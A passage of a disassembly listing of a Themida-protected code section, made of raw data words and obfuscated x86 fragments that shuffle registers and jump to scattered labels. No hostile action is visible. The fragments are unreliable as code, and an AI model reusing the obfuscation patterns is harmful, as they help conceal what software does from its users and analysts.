0CEFEA5EEh, 0E6C0D6F6h, 0ECF68003h, 51EFE9h, 2434FF00h dd 83240C8Bh, 49E904C4h, 66000050h, 566D829h, 6656092Ah dd 0E932F2BEh, 0FFFFC638h, 0E231E981h, 0CF21785Ch, 2374E959h dd 0C1810000h, 5A20115Eh, 1E76E981h, 0CE01FF87h, 83240C8Bh dd 520504C4h, 51AC747h, 5F2C01DEh, 5056F029h, 7D59AEB8h dd 3FB9BE44h, 5DE90D8Dh, 3100002Bh, 2A6BE9D8h, 0E7C10000h dd 4513E903h, 3C890000h, 360EBF24h, 0F7816470h, 6470360Ah dd 815FF989h, 0EF5F0AC2h, 81CA016Ah, 0EF5F0AEAh, 14E9596Ah db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54721B: ; CODE XREF: Themida_:00548206j pop eax add ecx, edi add ecx, 31BC56B9h mov edi, [esp] add esp, 4 jmp loc_54582B ; --------------------------------------------------------------------------- aZsir db 'ZR',0 dd 4C48300h, 6035E9h, 240C8900h, 0FFBF20E9h, 895359FFh dd 0E28EE9E3h, 4834FFFFh, 2858C330h, 0C0E95BD8h, 0C0FFFFE3h dd 0EDC007E5h, 0D6F8E904h, 0BA52FFFFh, 56E41C57h, 4F5AD721h dd 16D7E9h, 33FF5F00h, 0FFF2C5E9h, 241C8BFFh, 0E904C483h dd 5C36h, 5DC368h, 24248900h, 4B951h, 4C010000h, 0C8B0424h dd 4C48324h, 0E92434FFh, 0FFFFF7B9h, 5C242C33h, 0C8B60F66h dd 19DA6866h, 10B3E9h, 1C335A00h, 241C3124h, 5C241C33h dd 5652C331h, 473668h, 242C8900h, 2CBDh, 8B5E5500h, 5456242Ch dd 80BB535Eh, 431D9F58h, 0E904EC83h, 0FFFFC508h, 8124348Bh dd 4C4h, 4C18300h, 8B240C87h, 34FF2424h, 81685824h, 0E900007Bh dd 26FFh, 5A4D68h, 243C8900h, 2434FF54h, 0E289525Fh, 4C281h dd 0C2830000h, 24148704h, 61F685Ch, 1C890000h, 4BB24h dd 41E90000h, 81000048h, 0F9026EE9h, 8BCD8953h, 0C481240Ch dd 4, 0ED81EDD1h, 0E6AF1573h, 89EB8953h, 2C8B5BDEh, 4C48324h dd 1277BF57h, 0F8015161h, 2DF0015Fh, 51611277h, 0EC83515Eh dd 6A55E904h, 34FF0000h, 24148B24h, 57E08950h, 951016BFh dd 0E9DFF759h, 745Ch, 0C8BC801h, 4C48124h, 0C1000000h dd 752D03E0h, 568F470Ch, 0FFEF4BE9h, 0EE8956FFh, 0FFEC71E9h dd 4C481FFh, 81000000h, 4C4h, 5DBD5500h, 81673551h, 0B116A9EDh dd 16CD8107h, 0E9357B69h, 209Ah, 56FFE983h, 0E2772CBEh dd 0A3EE8121h, 0E9496C16h, 2794h, 240C8B66h, 0E904EC83h dd 368Fh, 240C8B66h, 48AAE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5473FE: ; CODE XREF: Themida_:00544E1Aj and ecx, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54D101 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 540Ah, 54243C89h, 0EC83505Fh, 21B6E904h dd 0D6010000h, 0FFE520E9h, 242C8BFFh, 3104C483h, 31EA31D5h dd 0D58742D5h, 0E5C1DDF7h, 4F9EE908h, 77FF0000h, 43FE92Ch dd 8B5F0000h, 0C483243Ch, 0E2895204h, 3CDDBE56h, 6E92F28h dd 0BAFFFFEEh, 4, 60E9D601h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547477: ; CODE XREF: Themida_:00545B43j or dh, 0EEh sub dh, 1 jmp loc_548BBF ; --------------------------------------------------------------------------- loc_547482: ; CODE XREF: Themida_:0054D10Bj mov eax, 7AD17690h dec eax jmp loc_548852 ; --------------------------------------------------------------------------- loc_54748D: ; CODE XREF: Themida_:0054B11Aj add edi, eax mov eax, [esp] push ebp jmp loc_54C56F ; --------------------------------------------------------------------------- loc_547498: ; CODE XREF: Themida_:005477BEj mov ecx, [esp] push 6DA1h mov [esp], ebx jmp loc_54D6EE ; --------------------------------------------------------------------------- loc_5474A8: ; CODE XREF: Themida_:005442A4j push ebp mov ebp, esp jmp loc_5444F9 ; --------------------------------------------------------------------------- loc_5474B0: ; CODE XREF: Themida_:00543BFDj add esi, 1 or esi, 2D8E0069h push eax mov eax, 0FFFFFFFFh jmp loc_544F4A ; --------------------------------------------------------------------------- db 87h dd 505C240Ch, 0EC83E089h, 243C8904h, 0D55695BFh, 1859E90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5474DE: ; CODE XREF: Themida_:005462BDj and eax, edx jmp loc_54C333 ; --------------------------------------------------------------------------- loc_5474E5: ; CODE XREF: Themida_:0054B2EAj pop edi jmp loc_545E5E ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0DAEAE900h, 0DFF7FFFFh, 20F6B951h, 0E9C11733h dd 9AC18107h, 0F73E1F7Ch, 49D1F7D9h, 0EAAFE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547512: ; CODE XREF: Themida_:0054930Aj add edi, eax sub edi, 6C680078h pop eax add edi, 0CCE172A5h mov edx, edi mov edi, [esp] push 710Bh mov [esp], edi mov edi, esp add edi, 4 jmp loc_5440A5 ; --------------------------------------------------------------------------- db 83h dd 148704C2h, 0C2815C24h, 4, 3302C283h, 14312414h, 24143324h dd 0FFBFA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_547559: ; CODE XREF: Themida_:00548771j pop eax and eax, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_54E911 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 5760E904h, 1C330000h, 29665C24h, 0E99C2404h, 0FFFFBBE1h dd 6A2EE959h, 0C890000h, 0C1A86824h, 0C8B61E6h, 4C48124h dd 31000000h, 240C8BC8h, 5204C483h, 0FFEF49E9h, 8B665CFFh dd 0EC81240Ch, 4, 54240C89h, 2D27E9h, 0A4C38100h, 290FBC0Eh dd 0A4EB81F3h, 5E0FBC0Eh, 5157FB01h, 52077268h, 5FE2E971h dd 4B90000h, 56000000h, 1D2E26BEh, 1EE8150h, 81000000h dd 0DA4ED0F6h, 0E9F6813Dh, 126D32Ah, 0DD6FE9F3h, 0C481FFFFh dd 4, 8B24048Fh, 0FE682424h, 89000019h, 0DB682434h, 54000043h dd 8324048Fh, 5E042404h, 4C681h, 51500000h, 0AE0A84B9h dd 1E98174h, 572D4207h, 681C73BFh, 0BA524F43h, 14371E96h dd 6EAC142h, 7CE0E9h db 0 ; --------------------------------------------------------------------------- loc_547649: ; CODE XREF: Themida_:00543F7Bj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 496Ch mov [esp], ecx push ebx push eax mov al, dl push ecx push ebx mov bh, al mov cl, bh jmp loc_54EA1C ; --------------------------------------------------------------------------- dw 159h dd 0F74AE9E9h, 0C781FFFFh, 39FE7AACh, 3BB7E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54767E: ; CODE XREF: Themida_:00544054j push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_54533D ; --------------------------------------------------------------------------- dd 5C240C87h, 0FFBE0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_547699: ; CODE XREF: Themida_:00548CD6j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_54C57F ; --------------------------------------------------------------------------- loc_5476A9: ; CODE XREF: Themida_:00545DC5j push edi mov edi, 5EBB0099h sub edi, 12122085h jmp loc_5479DA ; --------------------------------------------------------------------------- dd offset dword_569F68 dw 0E900h dd 0FFFFF967h, 31243C33h, 3C33243Ch, 24248B24h, 89243C89h dd 4C781E7h, 0E9000000h, 2Dh, 5956EFBAh, 8BD38924h, 0C4812414h dd 4, 6E77E9h, 240C8B00h, 2E1768h, 242C8900h, 0BA52E589h dd 15D2683Dh, 720E9h, 0FBE95500h, 47FFFFF5h, 6CBEE781h dd 0E7813A19h, 22F273BFh, 221CF781h, 0FD894995h, 0FDE9505Fh dd 29FFFFECh, 1FBB53E8h, 2917CE78h, 1B15E9D8h, 0F9860000h dd 0F930D7F6h, 0F930CF30h, 0E905E9C0h, 0FFFFC734h, 8B241C87h dd 4312424h, 6E99C24h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54775F: ; CODE XREF: Themida_:0054AD46j pop ecx sub ecx, 0FFED971Bh jmp loc_54A410 ; --------------------------------------------------------------------------- db 66h dd 0E924248Bh, 0FFFFB9F1h, 8B242C87h, 4312424h, 0B9E3E924h dd 0E281FFFFh, 37913266h, 8103EAC1h, 0FD1922C2h, 2DEFE961h dd 0EE810000h, 4, 5C243487h, 168FE9h db 0 ; --------------------------------------------------------------------------- loc_5477A5: ; CODE XREF: Themida_:00548786j push ecx mov ecx, 43A23659h mov ebx, 43C23659h add ebx, 42261AF3h sub ebx, ecx sub ebx, 42261AF3h jmp loc_547498 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 4C681h, 0C6810000h, 2, 2474FF56h, 48F5E04h dd 24248B24h, 0FFE154E9h, 1C77FFFFh, 6658669Dh, 9C240411h dd 0FFB96CE9h, 0B5E95BFFh, 8100001Dh, 4C7h, 4EF8300h, 5C243C87h dd 81240489h, 4ECh, 24248900h, 4240481h, 8B000000h, 0BCE92404h dd 6600004Fh, 6654D468h, 0F6241489h, 3DE92414h, 8100005Dh dd 444B09CFh, 9BF78148h, 895ADD6Bh, 2434FFFBh, 5F2434FFh dd 1463E9h, 8BF70100h, 0C4832434h, 2515E904h, 1C310000h dd 241C3324h, 0E924248Bh, 18D9h, 582434FFh, 55E28952h dd 0AC6E86BDh, 5EDC163h, 8101ED83h, 0FFFFFFC5h, 4EC83FFh dd 0BF243C89h, 0FCE29C92h, 0FFD325E9h, 0B8CBE9FFh, 6857FFFFh dd 72D24856h, 0FFEF835Fh, 8102E7C1h, 7B15D0CFh, 25C7816Dh dd 571084CAh, 0D8215F5Bh, 8B2434FFh, 0FE9241Ch, 0FF00001Fh dd 34FF2434h, 24048B24h, 0ECE9h, 4C48100h, 66000000h, 205FB652h dd 665A66F7h, 9EB45051h, 0A6E9E188h, 0C1FFFFE0h, 0E94504EDh dd 0FFFFF1ADh, 0FFB86CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5478F9: ; CODE XREF: Themida_:0054D6F1j mov edi, 7C1E317Eh push 3A0Dh jmp loc_545447 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 2C8BEE01h, 4C48324h, 2C681h, 34330000h dd 24343124h, 4998E9h db 0 ; --------------------------------------------------------------------------- loc_547929: ; CODE XREF: Themida_:0054845Cj add esp, 4 add esi, 5F162CAAh jmp loc_54EDAB ; --------------------------------------------------------------------------- dw 5259h dd 88F98851h, 705FE9CEh, 14890000h, 4696BA24h, 0DAF71968h dd 0EA81D2F7h, 5D5C4A6Bh, 0A352F281h, 0D031AC02h, 5E8C15Ah dd 0FFBB5340h, 0E9FFFFFFh, 775Bh ; --------------------------------------------------------------------------- loc_547970: ; CODE XREF: Themida_:005496CFj dec eax or eax, 691E6FB5h add eax, 0AD7294F0h add ecx, eax pop eax push dword ptr [esp] jmp loc_54CA42 ; --------------------------------------------------------------------------- dw 0E951h dd 1A1Ch ; --------------------------------------------------------------------------- loc_54798C: ; CODE XREF: Themida_:0054B19Fj mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_54C4A9 ; --------------------------------------------------------------------------- db 21h, 0C1h, 8Bh dd 0C4832404h, 8CBD5504h, 13E710Ch, 0D9F75DE9h, 1417E9h dd 35CC6800h, 4890000h, 5585424h, 4, 0FFEC94E9h, 1C5F21FFh dd 0E99CE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5479DA: ; CODE XREF: Themida_:005476B5j sub edi, 0D88A947Ah add edx, edi mov edi, [esp] jmp loc_543B26 ; --------------------------------------------------------------------------- loc_5479EA: ; CODE XREF: Themida_:00545552j pop eax pop dword ptr [esp] pop esp div cx push 14A2h mov [esp], esi push esp jmp loc_54B92A ; --------------------------------------------------------------------------- loc_547A00: ; CODE XREF: Themida_:0054435Ej pop esp mov [esp], ecx push edx mov edx, 7CC95190h mov ecx, 8C6B211Eh sub ecx, 4B1C6D1Bh add ecx, edx jmp loc_54BD6F ; --------------------------------------------------------------------------- dd 0D6AD9EB8h, 59C8298Ah, 4244431h, 8324048Bh, 1CE904C4h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547A33: ; CODE XREF: Themida_:0054AB0Dj push 800h jmp loc_545660 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0A0h dd 0BF6FC442h, 0A31AF35Ch, 78E0C781h, 0E7E91EA2h, 0FFFFFFB8h dd 5E042474h, 8B24048Fh, 0F662424h, 6866C8BEh, 89663739h dd 0F6E9240Ch, 5DFFFFB6h, 840FC009h, 57A7h, 6D4E68h, 24048900h dd 1614E9h, 81E68900h, 4C6h, 4C68300h, 4A54E9h, 241C8900h dd 0B9F68h, 243C8900h, 5D2C34BFh, 0FEE78124h, 81732014h dd 0B83FAFF7h, 27C78157h, 81D9D604h, 0CB2188E7h, 6E13E92Dh dd 555D0000h, 5657D868h, 0C2E95D7Eh, 8B000005h, 8EE92424h dd 5AFFFFB6h, 4C281h, 0D0680000h, 89000014h, 0FBE9242Ch dd 6800004Dh, 438Fh, 337AE9h, 0E1C58100h, 81207C66h, 6D7D86CDh dd 51D8E93Dh, 0EB290000h, 65B9515Dh, 551E4172h, 30EEE9h dd 34875800h, 24248B24h, 9C2424D3h, 0FFB640E9h, 24148BFFh dd 0FFEC9BE9h, 0A0E95BFFh, 0FF000065h, 0E9042474h, 0B2Eh dd 0E9243C33h, 0EF8h, 0EED2D66h, 0E9F02966h, 22D3h, 4C781h dd 0C7810000h, 4, 5C243C87h, 34FFF731h, 0F11DE924h, 0BF57FFFFh dd 78F12C9h, 0E95FFD09h, 75EDh, 2D6EC581h, 72E92E3Ch, 5CFFFFFFh dd 0E9240489h, 436Fh, 3C91EA81h, 0E95675E7h, 0DEEh, 0CD815A5Dh dd 145D29AFh, 0FFBE5645h, 81FFFFFFh, 0EE6BCFEDh, 51F50165h dd 0FFE19FE9h, 39DBFFFh, 74E92F96h, 0B900004Eh, 4, 0C8BCE01h dd 4C48324h, 2BD55h, 0C6810000h, 500B5FFAh, 4FFFC681h dd 0EE014F8Bh, 4FFFEE81h, 0EE814F8Bh, 500B5FFAh, 52242C8Bh dd 0FFF09FE9h, 0E9D689FFh, 4141h, 14E9D5F7h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C03: ; CODE XREF: Themida_:005463D9j push ebx jmp loc_5498DF ; --------------------------------------------------------------------------- loc_547C09: ; CODE XREF: Themida_:005464B0j pop ecx xchg esi, [esp] pop esp or edx, eax jmp loc_54A725 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0B6E90000h, 8BFFFFDBh, 0C4812414h, 4, 8B66F800h, 0C481241Ch dd 2, 0C1B55153h, 0B728B551h, 0E542E9B8h, 489FFFFh, 3BFDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547C4A: ; CODE XREF: Themida_:00543DF5j add ebp, 13F5B91Fh sub edx, ebp pop ebp add ecx, edx pop edx jmp loc_54AAFA ; --------------------------------------------------------------------------- db 83h dd 2CE904ECh, 0FF000074h, 68582434h, 1DCh, 89241489h, 0BD5556E2h dd 4, 520EE9h, 68665900h, 8966658Ah, 5352241Ch, 1E5BE9h dd 2474FF00h, 48F5904h, 22BDE924h, 0F0010000h, 6824348Bh dd 12D2h, 89243C89h, 67BA52E7h, 52527269h, 0E92414F7h dd 0FFFFF436h, 5943BD55h, 0EB293EA9h, 50FB015Dh, 1F2BE9h dd 0EEC15E00h, 5EABE906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547CD2: ; CODE XREF: Themida_:005439EFj add esp, 4 and ecx, eax pop eax jmp loc_54B62C ; --------------------------------------------------------------------------- loc_547CDD: ; CODE XREF: Themida_:0054838Cj mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp jmp loc_544EDD ; --------------------------------------------------------------------------- dw 8F64h dd 0B46FE902h, 8B66FFFFh, 0EC812404h, 4, 83241489h, 248904ECh dd 24048124h, 4, 0E92434FFh, 0CE8h, 433168ADh, 0D6E90000h dd 31FFFFC5h, 0F7CB31D9h, 0E9CB87D1h, 0FFFFED06h ; --------------------------------------------------------------------------- loc_547D30: ; CODE XREF: Themida_:00543820j add ebx, edi sub ebx, 1E683386h push dword ptr [ebx] pop ecx pop ebx push eax push 213B1CFDh pop eax inc eax push 327Dh mov [esp], edx mov edx, 686710Ah jmp loc_54880C ; --------------------------------------------------------------------------- loc_547D56: ; CODE XREF: Themida_:0054F23Ej xor ebx, [esp] xor [esp], ebx not ebx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop eax push ebp mov ebp, 652F470Ah push 0 sub [esp], ebp pop ebp jmp loc_544040 ; --------------------------------------------------------------------------- dd 565CB2BBh, 26F3810Dh, 8959945Ah, 0EDC15BDDh, 81D5F705h dd 1C5h, 6EFDE900h, 0E95E0000h, 0FFFFE826h ; --------------------------------------------------------------------------- loc_547DA0: ; CODE XREF: Themida_:005435C5j pop eax jmp loc_54F0A4 ; --------------------------------------------------------------------------- dw 5168h dd 89000004h, 0E0E9241Ch, 66FFFFDEh, 0FC3305Bh, 5BE9C0B6h dd 68FFFFB8h, 5098h, 0B8240489h, 1000000h, 0E904EC83h dd 3387h, 5AF388h, 241C8BD8h, 731E68h, 605EE900h, 0DA2D0000h dd 11AB835h, 35DA05F8h, 0BB531AB8h, 53021A11h, 0E95BD801h dd 0FFFFF656h, 0E99C5066h, 0FFFFB35Dh, 2023E9ADh, 2C890000h dd 65E95324h, 89FFFFFFh, 0BDE95BDAh, 0FF000029h, 589D1C77h dd 9C240419h, 0FFB338E9h, 1EA81FFh, 0C1000000h, 0CA8103EAh dd 6AF43B1Bh, 7F1BBE56h, 5FE96AFEh, 5AFFFFC0h, 335EF101h dd 0C31240Ch, 0E3BCE924h, 0F301FFFFh, 4CD7C381h, 92E92E80h dd 51000033h, 0E904EC83h, 0FFFFF38Ah, 4C481h, 0C3290000h dd 4078BA52h, 0C3814804h, 164A00C6h, 0EB81D329h, 164A00C6h dd 0E953515Ah, 5F6Bh, 0E55D292Dh, 8BC30100h, 0C4832404h dd 4615E904h, 0C6310000h, 20778958h, 0EC83535Eh, 242C8904h dd 8D5A72BDh, 0BE00E958h, 2958FFFFh, 0BBF8E9C5h, 2B9FFFFh dd 81000000h, 193097EEh, 6EC68108h, 0E9241727h, 0FFFFB4A7h dd 3118E8C1h, 5A3768C8h, 4890000h, 0D7EDE924h, 15FFFFFh dd 0DF08E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547EF2: ; CODE XREF: Themida_:00549D0Bj add eax, 2FC007BFh add eax, esi jmp loc_54D316 ; --------------------------------------------------------------------------- dw 0E888h dd 0FEC8FE59h, 0E9BE04C0h, 37B1h, 0A984F681h, 0C1E9D9A3h dd 2900006Dh, 2E60E9EFh, 0EC810000h, 4, 56241C89h, 487FC0BEh dd 0F4B5BB50h, 0F329B48Dh, 5E3C15Eh, 20E1E9h, 0EB814B00h dd 5CA40B32h, 0FFB59FE9h db 0FFh ; --------------------------------------------------------------------------- loc_547F49: ; CODE XREF: Themida_:00543C26j pop esp mov ebp, [esp] add esp, 4 jmp loc_54F115 ; --------------------------------------------------------------------------- dd 1905D1BDh, 5DEA0133h, 0F281D2F7h, 563C78D8h, 5E5AD101h dd 5A94E9h db 0 ; --------------------------------------------------------------------------- loc_547F71: ; CODE XREF: Themida_:0054D835j sub eax, ebp pop ebp mov edx, eax pop eax loc_547F77: ; CODE XREF: Themida_:loc_546B84j ; Themida_:0054C336j push 54CCh jmp loc_54ABE8 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFC1D8E9h, 0A8E957FFh, 5E000056h, 4246C29h, 0C2815A5Dh dd 2D510F4Eh, 34FFD089h, 0CE2E924h, 0ED810000h, 348B2244h dd 0C581FD01h, 348B2244h, 8BEF295Fh, 0C481242Ch, 4, 0E907E7C1h dd 0FFFFC1E6h, 8105E6C1h, 8F1947EEh, 81DEF724h, 191BFAEEh dd 69EE810Dh, 14B3815h, 0EC815EF7h, 4, 0E9242C89h, 172Dh dd 0E981D101h, 3BF95AA0h, 0CE7CE95Ah, 62E9FFFFh, 5FFFFFB1h dd 23E9h, 0F7D7F700h, 4C91E9DFh, 0CE290000h, 3CECEE81h dd 5559603Eh, 0B1465F68h, 0F40FE937h, 0E953FFFFh, 32A3h dd 1C1AE950h, 1FB30000h, 885BD888h, 29FEE9C6h, 0E6810000h dd 278D1A58h, 2D45CE81h, 0EE81395Ch, 19C00B85h, 0FFFEB7E9h dd 0E68956FFh, 4BB53h, 0DE010000h, 0FFF794E9h, 4C483FFh dd 5D2DB850h, 1DE900E5h, 0BFFFFFFEh, 2, 2BB3E9h, 0E9028F00h dd 0FFFFB0E1h, 22BFC281h, 0D2F720F3h, 1CFDE9h, 0C1D5F700h dd 0E5C103E5h, 0D3ED8106h, 0E90FA497h, 0FFFFFA62h, 5E2434FFh dd 4C481h, 86E90000h, 81000017h, 42404h, 0ADE90000h, 0FFFFFFC6h dd 34FF2434h, 0C4815924h, 4, 5E08950h, 4, 0E904E883h, 5983h dd 34FFD601h, 0C4835A24h, 4EE8304h, 2474FF56h, 3E95E04h dd 6600002Fh, 455D68ADh, 34890000h, 77BE6624h, 0EE81666Dh dd 29662BA6h, 53E7E9F0h, 0E6890000h, 4C681h, 0EC830000h dd 243C8904h, 4BFh, 8BFE0100h, 0E4E9243Ch, 89000011h, 0E189240Ch dd 591068h, 38C7E900h, 0E1890000h, 4C181h, 0C1810000h dd 4, 5C240C87h, 9F6EE81h, 0B1681BCFh, 89000057h, 52B82404h dd 154590Eh, 0ED76E9C6h, 0E181FFFFh, 0D817222h, 0D1F7E1D1h dd 0C107E1C1h, 0F18104E1h, 0C2D7ECBDh, 8159CE29h, 7851D1EEh dd 0C6815D5Eh, 2, 8B243487h, 88642424h, 0AFCBE902h, 0C181FFFFh dd 31F41076h, 0E981D901h, 31F41076h, 7BF6E981h, 0C18158B9h dd 57CE44EBh, 0E92434FFh, 43E4h, 4EB81h, 1C870000h, 1C895C24h dd 525B5424h, 4BAh, 5AD30100h, 4EB81h, 1C870000h, 24248B24h dd 89240489h, 405E0h, 0F4E90000h, 0FFFFFFE9h, 81582434h dd 4C4h, 6810E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5481FE: ; CODE XREF: Themida_:0054C184j push eax mov eax, 31BC56B9h sub ecx, eax jmp loc_54721B ; --------------------------------------------------------------------------- loc_54820B: ; CODE XREF: Themida_:0054B7D7j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_5463D2 ; --------------------------------------------------------------------------- db 4 dd 58C52814h, 80C1E580h, 0EA304EF5h, 0B6526659h, 0E9F0000Fh dd 0FFFFC9ADh, 33243431h, 62E92434h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548243: ; CODE XREF: Themida_:0054DBFBj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_546DB1 ; --------------------------------------------------------------------------- dw 0C6BAh dd 6805507Ch, 0 dd 5A241429h, 814AD2F7h, 0AF8340C2h, 1769E9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548272: ; CODE XREF: Themida_:00548D18j pop edx add edx, 4 sub edx, 4 jmp loc_5455C4 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8104C483h, 0CA04246Ch, 1755B64h, 0E9042444h, 3BBFh dd 0E907C580h, 0FFFFE721h, 8B66DA30h, 0C483241Ch, 0FFEA8002h dd 0E989EA80h, 1D14h, 24D2B951h, 0C9813DEDh, 66376A70h dd 11C18149h, 0C1603A5Dh, 0E1C106E9h, 0B075E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5482D2: ; CODE XREF: Themida_:0054D208j add bx, 0C81h add bx, 6478h jmp loc_54998F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 8B2434FFh, 0C4832414h, 4EC8304h, 89243C89h, 0BA5253E7h dd 4C553111h, 815AD389h, 6A7550F3h, 0DACB816Ah, 8150817Ah dd 0BF7ED7EBh, 0FFDF0176h, 1C8B2434h, 4C48124h, 83000000h dd 0C78304C4h, 243C3304h, 33243C31h, 248B243Ch, 0B372E924h dd 0D6F7FFFFh, 4FADEE81h, 76E95643h, 8B00004Fh, 0E8E9240Ch db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54834B: ; CODE XREF: Themida_:0054599Aj add esp, 4 jmp loc_547009 ; --------------------------------------------------------------------------- dw 0AE9h dd 81FFFFAEh, 4C2h, 4EA8100h, 0E9000000h, 39C5h, 240C8966h dd 0FFADF0E9h, 0C8B66FFh, 5F545724h, 0E904EC83h, 2529h ; --------------------------------------------------------------------------- loc_548384: ; CODE XREF: Themida_:0054B7FAj mov eax, esp add eax, 4 push edx jmp loc_547CDD ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EB010000h, 0D518E95Dh, 1C89FFFFh, 4B526824h, 0A9E97B64h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5483AB: ; CODE XREF: Themida_:005494AEj push ebx mov bh, 0AEh sub al, bh jmp loc_548709 ; --------------------------------------------------------------------------- db 5Bh, 43h, 81h dd 4D7EE6F3h, 8BDD896Eh, 0C483241Ch, 0B4FDE904h, 0F681FFFFh dd 38A0092Ch, 4CB85046h, 2D1A4E20h, 7A323907h, 750DD0F7h dd 0E968944Ah, 1B8Eh, 0E92434FFh, 321h, 4EC83ACh, 0B6241489h dd 0E9D6F631h, 0FFFFED77h, 0C181E189h, 4, 4BF57h, 0F9010000h dd 240C875Fh, 468505Ch, 58000000h, 8358C101h, 6FE904C1h dd 59FFFFBDh, 4EC81h, 1C890000h, 0C5885124h, 5059EB88h dd 0CE768h, 6F5CE900h, 295A0000h, 359EE9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54844A: ; CODE XREF: Themida_:0054E4A8j pop edx add ecx, 2A535AFFh sub ecx, 2A85B546h add esi, ecx mov ecx, [esp] jmp loc_547929 ; --------------------------------------------------------------------------- aTlSx3 db 'T,$3',0 align 2 dw 1C89h dd 575B5424h, 7E1520BFh, 68DFF765h, 6CC3h, 0BD242C89h dd 276925FEh, 34FFEF31h, 940E924h, 4890000h, 48B5424h dd 4C48124h, 53000000h, 5265D0BBh, 5AFFE954h, 3C8B0000h dd 4C48124h, 68000000h, 2860h, 55240489h, 3D96E9h, 5A5C6800h dd 0E9583821h, 0FFFFC724h, 3302C783h, 3C31243Ch, 243C3324h dd 6624248Bh, 68240C8Bh, 2012h, 54240489h, 582434FFh, 5104C483h dd 1C00ACB9h, 0D1F74968h, 57F18149h, 0E997E3FFh, 2EB7h dd 5EF0895Ah, 5658C389h, 0FFB7B9E9h, 0BF575BFFh, 165B08B5h dd 0B951DFF7h, 27DE4E96h, 0F759CF21h, 0EFC14FD7h, 49EF8104h dd 29DDCA4Dh, 0F9B8E9FEh, 0C4BFFFFFh, 814B237Eh, 572442F7h dd 0E9F8215Bh, 261Bh, 24048B66h, 0FFDEC9E9h, 1BE56FFh dd 1000000h, 24348BF3h, 4C481h, 36E90000h, 5400006Dh, 0FFCFBDE9h dd 24048BFFh, 564A6853h, 24890000h, 24048324h, 2434FF04h dd 81241C8Bh, 4C4h, 437FE900h, 315B0000h, 0D18959CAh, 6BE1815Ah dd 810C3324h, 0B041F7C1h, 82E18134h, 0C1356A48h, 0E98108E9h dd 0F84E85C0h, 497CE9h, 2CDE6800h, 4890000h, 68BDB024h dd 67D0h, 0FFADA4E9h, 6B2EBDFFh, 0ED816D4Eh, 7027AAAh dd 0CED814Dh, 8102DE01h, 9A58B0CDh, 0B3BB5374h, 0C17BFD0Dh dd 0E94302E3h, 51A1h, 840FC009h, 0FFFFCDBAh, 4EC8156h dd 89000000h, 4832424h, 555E0424h, 0FFE385E9h, 34FF5CFFh dd 0EC835924h, 242C8904h, 607A68h, 24248900h, 4BA52h, 54010000h dd 8B5A0424h, 6E9242Ch, 66FFFFECh, 0E9241C8Bh, 0FFFFB424h dd 0E956E089h, 0FFFFD0AFh, 622AC781h, 1FE9160Ch, 81FFFFB8h dd 4ECh, 242C8900h, 7F1BE56h, 0E9520907h, 0FFFFC4CEh ; --------------------------------------------------------------------------- loc_548660: ; CODE XREF: Themida_:00543657j mov [esp], edx mov edx, esp jmp loc_54890D ; --------------------------------------------------------------------------- dw 8F5Dh dd 248B2404h, 0C8BF0F24h, 32F268h, 240C8900h, 0FFAAE4E9h dd 5BD989FFh, 8159CB01h, 435F5BC3h, 6850516Eh, 0B17h, 0B3241C89h dd 5BD88879h, 5104E8C0h, 809DB353h, 0EB80D3EBh, 0C2CB8001h dd 88C6C380h, 0C376E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5486B6: ; CODE XREF: Themida_:00548F4Aj pop ebx jmp loc_54D9C2 ; --------------------------------------------------------------------------- loc_5486BC: ; CODE XREF: Themida_:005435AEj mov [esp], esp add dword ptr [esp], 4 pop ecx push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 jmp loc_54EFA9 ; --------------------------------------------------------------------------- dd 5FD45D35h, 0E5F0E928h, 34FFFFFFh, 2434FF24h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54426D ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 261BE9h, 